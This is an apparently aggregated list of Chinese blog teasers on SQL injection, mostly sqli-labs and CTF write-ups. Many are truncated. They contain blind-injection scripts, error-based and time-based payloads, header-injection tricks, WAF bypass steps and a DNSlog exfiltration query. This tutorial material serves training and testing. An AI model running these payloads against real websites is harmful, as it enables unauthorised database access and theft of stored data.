时间盲注脚本.py】的更多相关文章

时间盲注脚本 #!/usr/bin/env python # -*- coding: utf-8 -*- import requests import time payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' #匹配用的字符串 user='' print 'Start to retrive current user:' for i in range(1,23): for payload…
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" def inject_database(url): name = '' for i in range(1,100000): low = 32 high = 128 mid = (low + high) // 2 while low < high: payload = "if(ascii(sub…
第二种方法 使用brup进行盲注  也是一个道理 不多贴了 这里提一下  burp怎么判断超时 Options->Connections->Tiimeouts->Normal这一空 改成你想要的超时时间(默认为120秒). 在进行Intruder攻击时,如果连接超时,则状态码和length一栏为空.由此可以判断连接是否超时. 需要注意的是:在开始Intruder攻击前,需要把Intruder->Options->Request Engine->Number of thr…
less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and length(database)=num 破解名字长度. and ascii(substr(database(), 1,1))=num 猜出每一个字母的ascii码.最后得到数据库的名字. 破解所有数据库名字 and (select count(*) from information_schema.sch…
盲注脚本2.基于bool #!/usr/bin/env python #encoding:utf-8 #by i3ekr #using # python sqlinject.py -D "数据库名" -T "表明" -C "列明" --dump "列明" # import requests,re,os web = "http://139.199.179.167/sql-inject/sqli-labs/Less-5/…
转自cdxy师傅:https://www.cdxy.me/?p=789 PWNHUB 一道盲注题过滤了常规的sleep和benchmark函数,引发对时间盲注中延时方法的思考. 延时函数 SLEEP mysql); +----------+ ) | +----------+ | +----------+ row in set (5.00 sec) BENCHMARK mysql,sha()); +----------------------------+ ,sha()) | +---------…
地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 这道题点开看见your ip is :xxx.xxx.xx.xxx 试了一些 最后发现是XFF注入 不过首先要进行ip伪造 X-Forwarded-For Client-IP x-remote-IP x-originating-IP x-remote-add 发现X-Forwarded-For可以伪造. 题目说: 我要把攻击我的人都记录db中去! 猜测这是一个INSERT INTO的注入.…
题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 根据提示  “我要把攻击我的人都记录db中去!”  猜测这是insert into注入,会向数据库储存ip地址,所以注入点便是我们的ip,而ip可以用X-Forwarded-For伪造 由于注入点的特殊,这里注入是不能用逗号的,因为服务器在从X-Forwarded-For中取ip的时候,会把逗号作为分割符区分多个ip,一般会取第一个作为用户真实ip进行储存,所以我们传输的数据,只有第一个…
考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; charset=utf-8"); $db = new mysql(); $id = $_GET['id']; if ($id) { if(check_sql($id)){ exit(); } else { $sql = "select * from flllllllag where id=…
打开靶机 查看页面信息 测试时间盲注 可以看到在执行命令后会有一定时间的等待,确定为时间盲注 直接上脚本 1 #! /usr/bin/env python 2 # _*_ coding:utf-8 _*_ 3 import requests 4 import sys 5 import time 6 7 session=requests.session() 8 url = "http://challenge-e53e5a329b0199fa.sandbox.ctfhub.com:10080/?id…
前言 当我们进行SQL注入攻击时,当发现无法进行union注入或者报错等注入,那么,就需要考虑盲注了,当我们进行盲注时,需要通过页面的反馈(布尔盲注)或者相应时间(时间盲注),来一个字符一个字符的进行猜解.如果手工进行猜解,这就会有很大的工作量.所以这里就使用python写一个自动化脚本来进行猜解,靶场选择的是sqli-labs的第八关. 参考资料:<python安全攻防> 和盲注相关的payload 写脚本之前需要对盲注流程有一个了解.这样写脚本时,思路才不会乱.这里用sqli-labs的第…
Golang 盲注脚本 payload部分 其中脚本最重要的环节就是payload部分了,需要如何去闭合,如何构造SQL语句来达到判断的效果.(还有如何绕过waf等等...) bool盲注 下面是最基础的布尔型盲注的payload ' and length(database()=n)--+ ' and (ascii(substr(database(),1))=110 --+ ' and length((select table_name from information_schema.table…
00x0 引言 早上起来,发现seebug更新了一批新的洞, 发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~) 环境:zzcms8.2(产品招商型) php-5.4.45 . mysql-5.5.53 01x0 任意用户密码重置 01x1 任意用户密码重置方式一 话说,这个洞的标题应该是任意前台用户密码重置,后台管理员重置不了的,或许是我复现的问题.~~ 先注册个账号,然后首页点击找回密码. 地址:http://localhost/on…
之前在网上见到一个盲注的题目,正好闲来无事,便用java写了个盲注脚本,并记录下过程中的坑 题目源码: <?php header("Content-Type: text/html;charset=utf-8"); session_start(); require_once 'sql.php'; if((!isset($_SESSION["session"])) or (!isset($_COOKIE["username"]))){ echo…
开始挑战第十五关(Blind- Boolian Based- String)和 第十六关(Blind- Time Based- Double quotes- String) 访问地址,输入报错语句 '  ''  ')  ") -    ' and 1=1#  等使其报错 猜解字段名,这里是2个字段 union select联合查询,加入使其报错 使用报错函数也无用 使用时间函数试试,成功测试,存在时间盲注,注意,这里注释符--+不能使用,只能使用# 继续通过if语句进行猜解 后面怎么测试,参考G…
开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gogogo! 这一关为时间盲注,需要用到的函数如下: 正常的测试语句视乎没有任何效果 那就直接用到函数来测试吧 使用firebug来查看网络延迟 通过上面的测试,确实存在时间盲注,那我们就利用盲注的sql语句加时间盲注继续进行注入,通过if条件真假返回的判断 这句话意思就是 如果条件成立,就停止5秒,否…
http://www.xxx.cn/cp.asp?classid=3http://www.xxx.cn/cp.asp?classid=3 and //有拦截关键字http://www.xxx.cn/cp.asp?classid=3 AND 1=1 //大写绕过http://www.xxx.cn/cp.asp?classid=3 AND 1=2http://www.xxx.cn/cp.asp?classid=3 ORDER BY 8%16 //正常http://www.xxx.cn/cp.asp?…
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() 在concat查询语句后面添加一个标识符,如0x23 updatexml(,concat() 因为有的时候报错信息会设置长度限制,添加标识符可以避免显示不完全 获取数据库信息 http://10.1.2.5:10631/sqli/Less-1/?id=1' and updatexml(1,conc…
机缘巧合接触了一点关于sql注入的网络安全问题 依托 headers 的 sql 注入 一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码). 但是如果写过网络爬虫,那么就很清楚其实http的headers 也是由用户自己构造的,因此对一些从headers获取的变量就不能掉以轻心.比如<strongstyle="color:#890729;">userAgent, ip等. 这里有一个sql注入的题目:who are you? -- http…
0X01Oracle基于延时的盲注总结 0x00 前言 oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注: oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其…
盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息返回true和false两个,而不是返回报错信息 时间盲注: 页面返回只有一种,true,不管输入任何信息,返回信息都会按照正常来处理,加入特定的时间函数,通过查看web页面返回的时间差来查看是否存在时间盲注或语句是否正确 布尔盲注常用 length() 函数 返回字符串的长度?id=1 and l…
用处 页面存在时间盲注,注入成功了,你啥也看不到. 这只是为了能够查看到注入后的结果 网站部分源代码 <?php $conn = mysqli_("127.0.0.1","root","root","test"); $res = mysqli_query($conn, "SELECT ${_GET['id']}, content FROM wp_news"); $row = mysqli_fetch_…
0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Windows 10 X64Browser: Firefox QuantumPython version : 2.7Tools: JetBrains PhpStorm 2018.1.6 x64.Seay代码审计工具 搭建这个程序也挺简单的,也是一步到位. 0x03 漏洞复现 首先在程序的后台添加一条数据 执行我…
第八关: 没有查询信息,输入id=1' 报错 ,也没有报错信息,这里应该是个盲注 使用boolean的盲注吧 先判断boolean的盲注可行 输入id=1' and '1'='1' %23 页面正常 输入id=1' and '1'='2' %23 页面出错 有几个mysql内置的函数需要记住: length(str):返回str字符串的长度. substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回.注意这里的pos位置是从1开始的,不是数组的0开始 mi…
Natas17: 源码如下 /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas17', '<censored>'); mysql_select_…
sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys import requests url="http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s" payload="' and ascii(substr(database(),%s,1))>%s --+" database=''…
也可用bp进行爆破,这里用py脚本. 打看网页输入1,显示You are in,输入2,显示You are not in,是个布尔注入. 然后看看过滤了什么. sql注入没有过滤:--+.or sql注入过滤:union select.and.order by.空格 虽然or没有被当做sql注入处理,但是构造id=1'/**/or/**/1'='1--+时仍然是返回,You are not in. 所以应该是,or仍然被过滤,只是没有被当做sql注入,于是利用oorr来绕过. 下面给出爆破脚本:…
当测试注入漏洞时,页面没有返还结果,连报错都没有时,可以考虑延时. 比如这条语句 ?type=1 and if(length(database())=%d,sleep(5),1) 如果这条语句被服务器正确执行,那么服务器返回数据强要比平时慢5秒,通过比较时间来判断正确还是错误. 这就给我们编程提供了思路,如果要猜测一个字段可以先猜测其长度,在一个猜每一个字符 这次依旧是webug的一道练习题 mport requests import time payloads = 'qwertyuiopasd…
$sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; $sPost = 'inject=Inject&injection='; $sCharset = 'ABCDEF0123456789'; /* for every character */ for ($i=0, $hash=''; $i<32; ++$i) { $ch = $sCharset; do { $ch1 = substr($ch, 0, intval(strlen($ch)/2)); $ch2…
遇到中文的列名 利用unicode 进行单字节的转换 declare @s varchar(50);set @s = N'拉';select UniCode(@s),nchar(UniCode(@s)); 绕狗sql 方法 利用dnslog 进行sql /xx.aspx?id='--/%2a%0a%3bDECLARE+%40host+varchar(1024)%3bSELECT+%40host%3dCONVERT(varchar(1024),(select+top+1+user_pwd+from…